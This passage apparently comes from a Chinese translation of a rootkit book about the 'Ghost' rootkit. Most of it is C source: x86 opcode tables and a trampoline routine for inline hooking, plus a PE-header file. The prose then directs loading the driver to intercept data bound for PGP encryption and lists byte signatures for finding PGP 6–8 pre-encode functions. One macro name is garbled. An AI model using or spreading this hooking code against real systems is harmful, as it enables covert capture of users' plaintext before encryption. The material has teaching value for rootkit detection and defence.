{ 0x0D, transfer3Or5 },
{ 0x0E, transfer1 },
{ 0x0F, transfer0F },
{ 0x10, transfer2Mod },
{ 0x11, transfer2Mod },
{ 0x12, transfer2Mod },
{ 0x13, transfer2Mod },
{ 0x14, transfer2 },
{ 0x15, transfer3Or5 },
{ 0x16, transfer1 },
{ 0x17, transfer1 },
{ 0x18, transfer2Mod },
{ 0x19, transfer2Mod },
{ 0x1A, transfer2Mod },
{ 0x1B, transfer2Mod },
{ 0x1C, transfer2 },
{ 0x1D, transfer3Or5 },
{ 0x1E, transfer1 },
{ 0x1F, transfer1 },
{ 0x20, transfer2Mod },
{ 0x21, transfer2Mod },
{ 0x22, transfer2Mod },
{ 0x23, transfer2Mod },
{ 0x24, transfer2 },
{ 0x25, transfer3Or5 },
{ 0x26, transferPrefix },
{ 0x27, transfer1 },
{ 0x28, transfer2Mod },
{ 0x29, transfer2Mod },
{ 0x2A, transfer2Mod },
{ 0x2B, transfer2Mod },
{ 0x2C, transfer2 },
{ 0x2D, transfer3Or5 },
{ 0x2E, transferPrefix },
{ 0x2F, transfer1 },
{ 0x30, transfer2Mod },
{ 0x31, transfer2Mod },
{ 0x32, transfer2Mod },
{ 0x33, transfer2Mod },
{ 0x34, transfer2 },
{ 0x35, transfer3Or5 },
{ 0x36, transferPrefix },
{ 0x37, transfer1 },
{ 0x38, transfer2Mod },
{ 0x39, transfer2Mod },
{ 0x3A, transfer2Mod },
{ 0x3B, transfer2Mod },
{ 0x3C, transfer2 },
{ 0x3D, transfer3Or5 },
{ 0x3E, transferPrefix },
{ 0x3F, transfer1 },
{ 0x40, transfer1 },
{ 0x41, transfer1 },
{ 0x42, transfer1 },
{ 0x43, transfer1 },
{ 0x44, transfer1 },
{ 0x45, transfer1 },
{ 0x46, transfer1 },
{ 0x47, transfer1 },
{ 0x48, transfer1 },
{ 0x49, transfer1 },
{ 0x4A, transfer1 },
{ 0x4B, transfer1 },
{ 0x4C, transfer1 },
{ 0x4D, transfer1 },
{ 0x4E, transfer1 },
{ 0x4F, transfer1 },
{ 0x50, transfer1 },
{ 0x51, transfer1 },
{ 0x52, transfer1 },
{ 0x53, transfer1 },
{ 0x54, transfer1 },
{ 0x55, transfer1 },
{ 0x56, transfer1 },
{ 0x57, transfer1 },
{ 0x58, transfer1 },
{ 0x59, transfer1 },
{ 0x5A, transfer1 },
{ 0x5B, transfer1 },
{ 0x5C, transfer1 },
{ 0x5D, transfer1 },
{ 0x5E, transfer1 },
{ 0x5F, transfer1 },
{ 0x60, transfer1 },
{ 0x61, transfer1 },
{ 0x62, transfer2Mod },
{ 0x63, transfer2Mod },
{ 0x64, transferPrefix },
{ 0x65, transferPrefix },
{ 0x66, transfer66 },
{ 0x67, transfer67 },
{ 0x68, transfer3Or5 },
{ 0x69, transfer2ModOperand },
{ 0x6A, transfer2 },
{ 0x6B, transfer2Mod1 },
{ 0x6C, transfer1 },
{ 0x6D, transfer1 },
{ 0x6E, transfer1 },
{ 0x6F, transfer1 },
{ 0x70, transfer2Jump },
{ 0x71, transfer2Jump },
{ 0x72, transfer2Jump },
{ 0x73, transfer2Jump },
{ 0x74, transfer2Jump },
{ 0x75, transfer2Jump },
{ 0x76, transfer2Jump },
{ 0x77, transfer2Jump },
{ 0x78, transfer2Jump },
{ 0x79, transfer2Jump },
{ 0x7A, transfer2Jump },
{ 0x7B, transfer2Jump },
{ 0x7C, transfer2Jump },
{ 0x7D, transfer2Jump },
{ 0x7E, transfer2Jump },
{ 0x7F, transfer2Jump },
{ 0x80, transfer2Mod1 },
{ 0x81, transfer2ModOperand },
{ 0x82, transfer2 },
{ 0x83, transfer2Mod1 },
{ 0x84, transfer2Mod },
{ 0x85, transfer2Mod },
{ 0x86, transfer2Mod },
{ 0x87, transfer2Mod },
{ 0x88, transfer2Mod },
{ 0x89, transfer2Mod },
{ 0x8A, transfer2Mod },
{ 0x8B, transfer2Mod },
{ 0x8C, transfer2Mod },
{ 0x8D, transfer2Mod },
{ 0x8E, transfer2Mod },
{ 0x8F, transfer2Mod },
{ 0x90, transfer1 },
{ 0x91, transfer1 },
{ 0x92, transfer1 },
{ 0x93, transfer1 },
{ 0x94, transfer1 },
{ 0x95, transfer1 },
{ 0x96, transfer1 },
{ 0x97, transfer1 },
{ 0x98, transfer1 },
{ 0x99, transfer1 },
{ 0x9A, transfer5Or7Dynamic },
{ 0x9B, transfer1 },
{ 0x9C, transfer1 },
{ 0x9D, transfer1 },
{ 0x9E, transfer1 },
{ 0x9F, transfer1 },
{ 0xA0, transfer3Or5Address },
{ 0xA1, transfer3Or5Address },
{ 0xA2, transfer3Or5Address },
{ 0xA3, transfer3Or5Address },
{ 0xA4, transfer1 },
{ 0xA5, transfer1 },
{ 0xA6, transfer1 },
{ 0xA7, transfer1 },
{ 0xA8, transfer2 },
{ 0xA9, transfer3Or5 },
{ 0xAA, transfer1 },
{ 0xAB, transfer1 },
{ 0xAC, transfer1 },
{ 0xAD, transfer1 },
{ 0xAE, transfer1 },
{ 0xAF, transfer1 },
{ 0xB0, transfer2 },
{ 0xB1, transfer2 },
{ 0xB2, transfer2 },
{ 0xB3, transfer2 },
{ 0xB4, transfer2 },
{ 0xB5, transfer2 },
{ 0xB6, transfer2 },
{ 0xB7, transfer2 },
{ 0xB8, transfer3Or5 },
{ 0xB9, transfer3Or5 },
{ 0xBA, transfer3Or5 },
{ 0xBB, transfer3Or5 },
{ 0xBC, transfer3Or5 },
{ 0xBD, transfer3Or5 },
{ 0xBE, transfer3Or5 },
{ 0xBF, transfer3Or5 },
{ 0xC0, transfer2Mod1 },
{ 0xC1, transfer2Mod1 },
{ 0xC2, transfer3 },
{ 0xC3, transfer1 },
{ 0xC4, transfer2Mod },
{ 0xC5, transfer2Mod },
{ 0xC6, transfer2Mod1 },
{ 0xC7, transfer2ModOperand },
{ 0xC8, transfer4 },
{ 0xC9, transfer1 },
{ 0xCA, transfer3Dynamic },
{ 0xCB, transfer1Dynamic },
{ 0xCC, transfer1Dynamic },
{ 0xCD, transfer2Dynamic },
{ 0xCE, transfer1Dynamic },
{ 0xCF, transfer1Dynamic },
{ 0xD0, transfer2Mod },
{ 0xD1, transfer2Mod },
{ 0xD2, transfer2Mod },
{ 0xD3, transfer2Mod },
{ 0xD4, transfer2 },
{ 0xD5, transfer2 },
{ 0xD6, noTransfer },
{ 0xD7, transfer1 },
{ 0xD8, transfer2Mod },
{ 0xD9, transfer2Mod },
{ 0xDA, transfer2Mod },
{ 0xDB, transfer2Mod },
{ 0xDC, transfer2Mod },
{ 0xDD, transfer2Mod },
{ 0xDE, transfer2Mod },
{ 0xDF, transfer2Mod },
{ 0xE0, transfer2NoJump },
{ 0xE1, transfer2NoJump },
{ 0xE2, transfer2NoJump },
{ 0xE3, transfer2Jump },
{ 0xE4, transfer2 },
{ 0xE5, transfer2 },
{ 0xE6, transfer2 },
{ 0xE7, transfer2 },
{ 0xE8, transfer3Or5Target },
{ 0xE9, transfer3Or5Target },
{ 0xEA, transfer5Or7Dynamic },
{ 0xEB, transfer2Jump },
{ 0xEC, transfer1 },
{ 0xED, transfer1 },
{ 0xEE, transfer1 },
{ 0xEF, transfer1 },
{ 0xF0, transferPrefix },
{ 0xF1, noTransfer },
{ 0xF2, transferPrefix },
{ 0xF3, transferPrefix },
{ 0xF4, transfer1 },
{ 0xF5, transfer1 },
{ 0xF6, transferF6 },
{ 0xF7, transferF7 },
{ 0xF8, transfer1 },
{ 0xF9, transfer1 },
{ 0xFA, transfer1 },
{ 0xFB, transfer1 },
{ 0xFC, transfer1 },
{ 0xFD, transfer1 },
{ 0xFE, transfer2Mod },
{ 0xFF, transferFF },
{ 0x00, lastEntry }
};
// intel extended op codes and disassembly parameters
X86INSTRUCTION extendedInstructionMap[257] =
{
{ 0x00, transfer2Mod },
{ 0x01, transfer2Mod },
{ 0x02, transfer2Mod },
{ 0x03, transfer2Mod },
{ 0x04, noTransfer },
{ 0x05, noTransfer },
{ 0x06, transfer2 },
{ 0x07, noTransfer },
{ 0x08, transfer2 },
{ 0x09, transfer2 },
{ 0x0A, noTransfer },
{ 0x0B, transfer2 },
{ 0x0C, noTransfer },
{ 0x0D, noTransfer },
{ 0x0E, noTransfer },
{ 0x0F, noTransfer },
{ 0x10, noTransfer },
{ 0x11, noTransfer },
{ 0x12, noTransfer },
{ 0x13, noTransfer },
{ 0x14, noTransfer },
{ 0x15, noTransfer },
{ 0x16, noTransfer },
{ 0x17, noTransfer },
{ 0x18, noTransfer },
{ 0x19, noTransfer },
{ 0x1A, noTransfer },
{ 0x1B, noTransfer },
{ 0x1C, noTransfer },
{ 0x1D, noTransfer },
{ 0x1E, noTransfer },
{ 0x1F, noTransfer },
{ 0x20, transfer2Mod },
{ 0x21, transfer2Mod },
{ 0x22, transfer2Mod },
{ 0x23, transfer2Mod },
{ 0x24, noTransfer },
{ 0x25, noTransfer },
{ 0x26, noTransfer },
{ 0x27, noTransfer },
{ 0x28, noTransfer },
{ 0x29, noTransfer },
{ 0x2A, noTransfer },
{ 0x2B, noTransfer },
{ 0x2C, noTransfer },
{ 0x2D, noTransfer },
{ 0x2E, noTransfer },
{ 0x2F, noTransfer },
{ 0x30, transfer2 },
{ 0x31, transfer2 },
{ 0x32, transfer2 },
{ 0x33, transfer2 },
{ 0x34, transfer2 },
{ 0x35, transfer2 },
{ 0x36, noTransfer },
{ 0x37, noTransfer },
{ 0x38, noTransfer },
{ 0x39, noTransfer },
{ 0x3A, noTransfer },
{ 0x3B, noTransfer },
{ 0x3C, noTransfer },
{ 0x3D, noTransfer },
{ 0x3E, noTransfer },
{ 0x3F, noTransfer },
{ 0x40, transfer2Mod },
{ 0x41, transfer2Mod },
{ 0x42, transfer2Mod },
{ 0x43, transfer2Mod },
{ 0x44, transfer2Mod },
{ 0x45, transfer2Mod },
{ 0x46, transfer2Mod },
{ 0x47, transfer2Mod },
{ 0x48, transfer2Mod },
{ 0x49, transfer2Mod },
{ 0x4A, transfer2Mod },
{ 0x4B, transfer2Mod },
{ 0x4C, transfer2Mod },
{ 0x4D, transfer2Mod },
{ 0x4E, transfer2Mod },
{ 0x4F, transfer2Mod },
{ 0x50, noTransfer },
{ 0x51, noTransfer },
{ 0x52, noTransfer },
{ 0x53, noTransfer },
{ 0x54, noTransfer },
{ 0x55, noTransfer },
{ 0x56, noTransfer },
{ 0x57, noTransfer },
{ 0x58, noTransfer },
{ 0x59, noTransfer },
{ 0x5A, noTransfer },
{ 0x5B, noTransfer },
{ 0x5C, noTransfer },
{ 0x5D, noTransfer },
{ 0x5E, noTransfer },
{ 0x5F, noTransfer },
{ 0x60, transfer2Mod },
{ 0x61, noTransfer },
{ 0x62, transfer2Mod },
{ 0x63, transfer2Mod },
{ 0x64, transfer2Mod },
{ 0x65, transfer2Mod },
{ 0x66, transfer2Mod },
{ 0x67, transfer2Mod },
{ 0x68, transfer2Mod },
{ 0x69, transfer2Mod },
{ 0x6A, transfer2Mod },
{ 0x6B, transfer2Mod },
{ 0x6C, noTransfer },
{ 0x6D, noTransfer },
{ 0x6E, transfer2Mod },
{ 0x6F, transfer2Mod },
{ 0x70, noTransfer },
{ 0x71, transfer2Mod1 },
{ 0x72, transfer2Mod1 },
{ 0x73, transfer2Mod1 },
{ 0x74, transfer2Mod },
{ 0x75, transfer2Mod },
{ 0x76, transfer2Mod },
{ 0x77, transfer2 },
{ 0x78, noTransfer },
{ 0x79, noTransfer },
{ 0x7A, noTransfer },
{ 0x7B, noTransfer },
{ 0x7C, noTransfer },
{ 0x7D, noTransfer },
{ 0x7E, transfer2Mod },
{ 0x7F, transfer2Mod },
{ 0x80, transfer3Or5Target },
{ 0x81, transfer3Or5Target },
{ 0x82, transfer3Or5Target },
{ 0x83, transfer3Or5Target },
{ 0x84, transfer3Or5Target },
{ 0x85, transfer3Or5Target },
{ 0x86, transfer3Or5Target },
{ 0x87, transfer3Or5Target },
{ 0x88, transfer3Or5Target },
{ 0x89, transfer3Or5Target },
{ 0x8A, transfer3Or5Target },
{ 0x8B, transfer3Or5Target },
{ 0x8C, transfer3Or5Target },
{ 0x8D, transfer3Or5Target },
{ 0x8E, transfer3Or5Target },
{ 0x8F, transfer3Or5Target },
{ 0x90, transfer2Mod },
{ 0x91, transfer2Mod },
{ 0x92, transfer2Mod },
{ 0x93, transfer2Mod },
{ 0x94, transfer2Mod },
{ 0x95, transfer2Mod },
{ 0x96, transfer2Mod },
{ 0x97, transfer2Mod },
{ 0x98, transfer2Mod },
{ 0x99, transfer2Mod },
{ 0x9A, transfer2Mod },
{ 0x9B, transfer2Mod },
{ 0x9C, transfer2Mod },
{ 0x9D, transfer2Mod },
{ 0x9E, transfer2Mod },
{ 0x9F, transfer2Mod },
{ 0xA0, transfer2 },
{ 0xA1, transfer2 },
{ 0xA2, transfer2 },
{ 0xA3, transfer2Mod },
{ 0xA4, transfer2Mod1 },
{ 0xA5, transfer2Mod },
{ 0xA6, noTransfer },
{ 0xA7, noTransfer },
{ 0xA8, transfer2 },
{ 0xA9, transfer2 },
{ 0xAA, transfer2 },
{ 0xAB, transfer2Mod },
{ 0xAC, transfer2Mod1 },
{ 0xAD, transfer2Mod },
{ 0xAE, transfer2Mod },
{ 0xAF, transfer2Mod },
{ 0xB0, transfer2Mod },
{ 0xB1, transfer2Mod },
{ 0xB2, transfer2Mod },
{ 0xB3, transfer2Mod },
{ 0xB4, transfer2Mod },
{ 0xB5, transfer2Mod },
{ 0xB6, transfer2Mod },
{ 0xB7, transfer2Mod },
{ 0xB8, noTransfer },
{ 0xB9, noTransfer },
{ 0xBA, transfer2Mod1 },
{ 0xBB, transfer2Mod },
{ 0xBC, transfer2Mod },
{ 0xBD, transfer2Mod },
{ 0xBE, transfer2Mod },
{ 0xBF, transfer2Mod },
{ 0xC0, transfer2Mod },
{ 0xC1, transfer2Mod },
{ 0xC2, noTransfer },
{ 0xC3, noTransfer },
{ 0xC4, noTransfer },
{ 0xC5, noTransfer },
{ 0xC6, noTransfer },
{ 0xC7, transfer2Mod },
{ 0xC8, transfer2 },
{ 0xC9, transfer2 },
{ 0xCA, transfer2 },
{ 0xCB, transfer2 },
{ 0xCC, transfer2 },
{ 0xCD, transfer2 },
{ 0xCE, transfer2 },
{ 0xCF, transfer2 },
{ 0xD0, noTransfer },
{ 0xD1, transfer2Mod },
{ 0xD2, transfer2Mod },
{ 0xD3, transfer2Mod },
{ 0xD4, noTransfer },
{ 0xD5, transfer2Mod },
{ 0xD6, noTransfer },
{ 0xD7, noTransfer },
{ 0xD8, transfer2Mod },
{ 0xD9, transfer2Mod },
{ 0xDA, noTransfer },
{ 0xDB, transfer2Mod },
{ 0xDC, transfer2Mod },
{ 0xDD, transfer2Mod },
{ 0xDE, noTransfer },
{ 0xDF, transfer2Mod },
{ 0xE0, noTransfer },
{ 0xE1, transfer2Mod },
{ 0xE2, transfer2Mod },
{ 0xE3, noTransfer },
{ 0xE4, noTransfer },
{ 0xE5, transfer2Mod },
{ 0xE6, noTransfer },
{ 0xE7, noTransfer },
{ 0xE8, transfer2Mod },
{ 0xE9, transfer2Mod },
{ 0xEA, noTransfer },
{ 0xEB, transfer2Mod },
{ 0xEC, transfer2Mod },
{ 0xED, transfer2Mod },
{ 0xEE, noTransfer },
{ 0xEF, transfer2Mod },
{ 0xF0, noTransfer },
{ 0xF1, transfer2Mod },
{ 0xF2, transfer2Mod },
{ 0xF3, transfer2Mod },
{ 0xF4, noTransfer },
{ 0xF5, transfer2Mod },
{ 0xF6, noTransfer },
{ 0xF7, noTransfer },
{ 0xF8, transfer2Mod },
{ 0xF9, transfer2Mod },
{ 0xFA, transfer2Mod },
{ 0xFB, noTransfer },
{ 0xFC, transfer2Mod },
{ 0xFD, transfer2Mod },
{ 0xFE, transfer2Mod },
{ 0xFF, noTransfer },
{ 0x00, lastEntry }
};
PBYTE transferInstruction( PBYTE destination, PBYTE source, PBYTE* jumpAddress,
LONG* extra )
{
X86_16BIT_INSTRUCTION op16 = { 0 };
X86INSTRUCTION* opPtr = { 0 };
*jumpAddress = TARGETLESS_X86INSTRUCTION;
*extra = 0;
op16.operandIs16 = 0;
op16.addressIs16 = 0;
op16.jumpAddress = jumpAddress;
op16.extra = extra;
opPtr = &instructionMap[source[0]];
return opPtr->pXferFunction( &op16, opPtr, destination, source );
}
PBYTE transferData( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source )
{
LONG bytes = 0;
LONG fixedBytes = (opPtr->flagMask & ADDRESS_FLAG)
? (op16Ptr->addressIs16 ? opPtr->size16 : opPtr->size)
: (op16Ptr->operandIs16 ? opPtr->size16 : opPtr->size);
bytes = fixedBytes;
if( opPtr->modeOffset > 0 )
{
BYTE rmMode = source[opPtr->modeOffset];
BYTE flags = regMemMode[rmMode];
if( flags & SIB_FLAG )
{
if( ( source[opPtr->modeOffset + 1] & 0x07 ) == 0x05 )
{
if( ( rmMode & 0xc0 ) == 0x00 )
bytes += 4;
else if( ( rmMode & 0xc0 ) == 0x40 )
bytes += 1;
else if( ( rmMode & 0xc0 ) == 0x80 )
bytes += 4;
}
}
bytes += flags & NOTSIB_FLAG;
}
memcpy( destination, source, bytes );
if( opPtr->relOffset )
*op16Ptr->jumpAddress = adjustData( op16Ptr, destination, source, fixedBytes,
opPtr->relOffset );
if( opPtr->flagMask & NOENLARGE_FLAG )
*op16Ptr->extra = -*op16Ptr->extra;
if( opPtr->flagMask & DYNAMIC_FLAG )
*op16Ptr->jumpAddress = DYNAMIC_X86INSTRUCTION;
return source + bytes;
}
PBYTE transferDataPrefix( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr,
PBYTE destination, PBYTE source )
{
transferData( op16Ptr, opPtr, destination, source );
opPtr = &instructionMap[source[1]];
return opPtr->pXferFunction(op16Ptr, opPtr, destination + 1, source + 1);
}
PBYTE adjustData( X86_16BIT_INSTRUCTION* op16Ptr, PBYTE destination, PBYTE source,
LONG bytes, LONG targetOffset )
{
LONG oldOffset = 0;
LONG newOffset = 0;
PBYTE target;
LONG targetSize = bytes - targetOffset;
PVOID targetAddr = &destination[targetOffset];
switch( targetSize )
{
case 1:
oldOffset = (LONG)*((PCHAR)targetAddr);
*op16Ptr->extra = 3;
break;
case 2:
oldOffset = (LONG)*((PSHORT)targetAddr);
*op16Ptr->extra = 2;
break;
case 4:
oldOffset = (LONG)*((PLONG)targetAddr);
*op16Ptr->extra = 0;
break;
}
target = source + bytes + oldOffset;
newOffset = oldOffset - (destination - source);
switch( targetSize )
{
case 1:
*((PCHAR)targetAddr) = (CHAR)newOffset;
break;
case 2:
*((PSHORT)targetAddr) = (SHORT)newOffset;
break;
case 4:
*((PLONG)targetAddr) = (LONG)newOffset;
break;
}
ASSERT( destination + bytes + newOffset == target );
return target;
}
PBYTE noTransferOp( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source )
{
return source + 1;
UNREFERENCED_PARAMETER( destination );
UNREFERENCED_PARAMETER( opPtr );
UNREFERENCED_PARAMETER( op16Ptr );
}
PBYTE transferOp0F( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source )
{
transferData( op16Ptr, opPtr, destination, source );
opPtr = &extendedInstructionMap[source[1]];
return opPtr->pXferFunction( op16Ptr, opPtr, destination + 1, source + 1 );
}
PBYTE transferOp66( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source )
{
op16Ptr->operandIs16 = 1;
return transferDataPrefix( op16Ptr, opPtr, destination, source );
}
PBYTE transferOp67( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source )
{
op16Ptr->addressIs16 = 1;
return transferDataPrefix( op16Ptr, opPtr, destination, source );
}
PBYTE transferOpF6( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source )
{
if( (source[1] & 0x38) == 0x00 )
{
X86INSTRUCTION ce = { 0xf6, transfer2Mod1 };
return ce.pXferFunction( op16Ptr, &ce, destination, source );
}
{
X86INSTRUCTION ce = { 0xf6, transfer2Mod };
return ce.pXferFunction( op16Ptr, &ce, destination, source );
}
}
PBYTE transferOpF7( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source )
{
if( (source[1] & 0x38) == 0x00 )
{
X86INSTRUCTION ce = { 0xf7, transfer2ModOperand };
return ce.pXferFunction( op16Ptr, &ce, destination, source );
}
{
X86INSTRUCTION ce = { 0xf7, transfer2Mod };
return ce.pXferFunction( op16Ptr, &ce, destination, source );
}
}
PBYTE transferOpFF( X86_16BIT_INSTRUCTION* op16Ptr, PX86INSTRUCTION opPtr, PBYTE
destination, PBYTE source )
{
if( source[1] == 0x15 || source[1] == 0x25 )
{
PBYTE* jumpAddress = *(PBYTE**) &source[2];
*op16Ptr->jumpAddress = *jumpAddress;
}
else if( (source[1] & 0x38) == 0x10 || (source[1] & 0x38) == 0x18 ||
(source[1] & 0x38) == 0x20 || (source[1] & 0x38) == 0x28 )
{
*op16Ptr->jumpAddress = DYNAMIC_X86INSTRUCTION;
}
{
X86INSTRUCTION ce = { 0xff, transfer2Mod };
return ce.pXferFunction( op16Ptr, &ce, destination, source );
}
}
//called by isJump when getx86Instruction wasn't enough to determine type
ULONG getNextInstruction( PCHAR codePtr, ULONG initial, PCHAR destinationBuffer,
ULONG destinationBufferLength )
{
PBYTE source = NULL;
PBYTE destination = NULL;
ULONG bytesCopied = 0;
PBYTE target = NULL;
LONG extra = 0;
memset( destinationBuffer, 0, destinationBufferLength );
source = (PBYTE)codePtr;
destination = (PBYTE)destinationBuffer;
for( bytesCopied = 0; bytesCopied < initial; )
{
source = transferInstruction( destination, source, &target, &extra );
if( !source )
{
memset( destinationBuffer, 0, destinationBufferLength );
bytesCopied = 0;
break;
}
bytesCopied = (DWORD)source - (DWORD)codePtr;
if( bytesCopied >= destinationBufferLength )
{
ASSERT( FALSE );
break;
}
destination = (PBYTE)destinationBuffer + bytesCopied;
}
return bytesCopied;
}
// called by trampoline to check for jump type instruction
BOOL isJump( PCHAR instruction, ULONG instructionLength )
{
BYTE firstByte;
BYTE secondByte;
PCHAR thisInstruction;
ULONG thisInstructionLength;
ULONG nextInstructionLength;
char instructionBuffer[MAX_INSTRUCTION] = { 0 };
thisInstruction = instruction;
thisInstructionLength = instructionLength;
while( thisInstructionLength > 0 )
{
// check all jump op codes
firstByte = thisInstruction[0];
secondByte = thisInstruction[1];
if( I***ETWEEN( firstByte, 0x70, 0x7f ) )
return TRUE;
else if( I***ETWEEN( firstByte, 0xca, 0xcb ) )
return TRUE;
else if( I***ETWEEN( firstByte, 0xe0, 0xe3 ) )
return TRUE;
else if( I***ETWEEN( firstByte, 0xe8, 0xeb ) )
return TRUE;
else if( IS_EQUAL( firstByte, 0xcf ) )
return TRUE;
else if( IS_EQUAL( firstByte, 0xf3 ) )
return TRUE;
else if( IS_EQUAL( firstByte, 0xff ) )
{
if( secondByte == 0x15 || secondByte == 0x25 )
return TRUE;
if( (secondByte & 0x38) == 0x10 || (secondByte & 0x38) == 0x18 ||
(secondByte & 0x38) == 0x20 || (secondByte & 0x38) == 0x28 )
return TRUE;
}
else if( IS_EQUAL( firstByte, 0x0f ) )
{
if( I***ETWEEN( secondByte, 0x80, 0x8f ) )
return TRUE;
}
memset( instructionBuffer, 0, sizeof(instructionBuffer) );
nextInstructionLength = getNextInstruction( thisInstruction, 1,
instructionBuffer, MAX_INSTRUCTION );
if( nextInstructionLength <= 0 )
break;
thisInstructionLength -= nextInstructionLength;
thisInstruction += nextInstructionLength;
}
return FALSE;
}
#pragma optimize( "", on )
x86指令语法分析如图4-3所示 一般而言,transferInstruction 使用目标函数的第一字节来确定该位置x86指令的类型和格式大小。第一字节被当作目录映射到instructionMap中,将第一个字节映射到全x86指令。一旦确定了指令的格式大小并确定不是一个跳转,那么这个指令将可以被翻译为一个跳转并被一个跳转指令改写,这个跳转指令将操作转移到一个嵌入函数,然后按顺序调用原函数和其他在原函数前或后面的你想注入的函数一样。
peFormat.h
peFormat.h文件包含的数据结构是分析PE格式文件所必须的。这些数据结构在微软所提供的头文件中不容易找到。Ghost所需要的数据结构已经在winnt.h文件中提取出来了,因此这个头文件不容易被包含在一个DDK来构建。对于开发者使用XP DDK,可以使用ntimage.h文件,但是为了使过程尽量简单,并尽可能使用其他开发环境,就需要使用peFormat.h文件:
// Copyright Ric Vieler, 2006
// Support header for hookManager.c
// Contains required PE file format data structures used by GetIndex()
#ifndef _PE_FORMAT_HEADER_
#define _PE_FORMAT_HEADER_
//
// Image Format
//
#pragma pack(2) // 16 bit headers are 2 byte packed
#define IMAGE_DOS_SIGNATURE 0x5A4D // MZ
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; #pragma pack(4) // Back to 4 byte packing
//
// File header format.
//
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; //
// Directory format.
//
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
//
// Optional header format.
//
typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
//
// NT additional fields.
//
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;
//
// Export Format
//
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
// Directory Entries
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory
#endif
一旦编译并加载后,点击Checked DDK图标并使用第一二章编写的SCMLoader.exe,你就可以打开服务了,使用“net start MyDeviceDriver”来过滤运往PGP加密的数据。
使用Ghost来分块PGP编码
为了演示这个例子中定义的用户钩子,你需要下载PGP Desktop9版本。截止本书编写为止,PGP桌面专业版9可以在www.pgp.com/downloads/index.html下载到。 下载的这个版本允许免费试用30天,这些时间对于演示本章用户层钩子以及以下章节是足够的了。另一方面,如果你经常使用免费版本的PGP(如版本6到8),你可以使用下面样式中的一个:
PGP version 6 pre-encode pattern (for PGP_SDK.dll):
0x81, 0xEC, 0xC8, 0x00, 0x00, 0x00, 0x53, 0x55, 0x8B, 0xAC, 0x24, 0xD8, 0x00, 0x00,
0x00, 0x57, 0xB9, 0x25, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x8D, 0x7C, 0x24, 0x14, 0x6A
PGP version 7 pre-encode pattern (for PGPsdk.dll):
0x81, 0xEC, 0xC0, 0x00, 0x00, 0x00, 0x53, 0x55, 0x8B, 0xAC, 0x24, 0xD0, 0x00, 0x00,
0x00, 0x57, 0xB9, 0x23, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x8D, 0x7C, 0x24, 0x18, 0x6A
PGP version 8 pre-encode pattern (for PGPsdk.dll):
0x81, 0xEC, 0xC4, 0x00, 0x00, 0x00, 0x53, 0x55, 0x8B, 0xAC, 0x24, 0xD4, 0x00, 0x00,
0x00, 0x57, 0xB9, 0x23, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x8D, 0x7C, 0x24, 0x18, 0x6A
总结
